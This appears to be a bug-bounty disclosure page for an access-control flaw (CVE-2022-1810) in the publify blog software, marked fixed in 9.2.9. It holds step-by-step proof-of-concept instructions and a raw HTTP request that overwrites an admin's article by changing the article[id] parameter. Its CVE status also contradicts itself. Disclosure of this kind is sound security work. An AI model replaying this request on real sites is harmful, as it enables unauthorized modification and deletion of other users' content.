Improper Access Control - Articles in publify/publify

0

Valid Reported on May 19th 2022

Description

A low-privileged user can modify and delete admin articles just by changing the value of the **article[id]** parameter.

Proof of Concept

Step 1 - Authenticated as an unprivileged user, create a **New article**
Step 2 - Click **Edit** article
Step 3 - Intercept requests and **Save** your article
Step 4 - In the request that was intercepted, change the value of the **article[id]** parameter to the **ID** of admin article (You can get the id by copying the edit link of article)
Step 5 - Submit a request and the admin article will be **hijacked**.

```
POST /admin/content/5850 HTTP/1.1
Host: demo-publify.herokuapp.com
Cookie: _publify_blog_session=cookie
Content-Length: 2234
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: https://demo-publify.herokuapp.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryBydp1QV5C
Accept-Encoding: gzip, deflate
Accept-Language: pt-BR,pt;q=0.9,en-US;q=0.8,en;q=0.7
Connection: close
...
------WebKitFormBoundaryBydp1QV5GIbVRQBU
Content-Disposition: form-data; name="article[id]"

ID_ARTICLE_ADMIN_HERE
------WebKitFormBoundaryBydp1QV5GIbVRQBU
Content-Disposition: form-data; name="article[title]"
```

```
Content-Disposition: form-data; name="article[title]

hacked
------WebKitFormBoundaryBydp1QV5GIbVRQBU
Content-Disposition: form-data; name="article[body_and_extended]"

hacked
------WebKitFormBoundaryBydp1QV5GIbVRQBU
Content-Disposition: form-data; name="article[keywords]"
...
```

Demo

https://drive.google.com/file/d/1OymOxmRG-B2p0DD0ZcFUyJiwx_k-NVGf/view?usp=sharing

Impact

An unprivileged user is allow to modify/delete admin's articles

References

- https://portswigger.net/web-security/access-control/idor

CVE
CVE-2022-1810
(Published)

Vulnerability Type
CWE-284: Improper Access Control

Severity
Critical (9.9)

Registry
Other

Affected Version
*

Visibility
Public

Status
Fixed

Found by

Jonatas
@ninj4c0d3r
master

Fixed by

Matijs van Zuijlen
@mvz
maintainer

This report was seen 490 times.

We are processing your report and will contact the **publify** team within 24 hours. 6 months ago

We have contacted a member of the **publify** team and are waiting to hear back 6 months ago

A **publify/publify** maintainer has acknowledged this report 6 months ago

Matijs van Zuijlen validated this vulnerability 6 months ago

Jonatas has been awarded the disclosure bounty ✓

The fix bounty is now up for grabs

The researcher's credibility has increased: +7

Matijs van Zuijlen marked this as fixed in **9.2.9** with commit **c0aba8** 6 months ago

Matijs van Zuijlen has been awarded the fix bounty ✓

This vulnerability will not receive a CVE ×

Sign in to join this conversation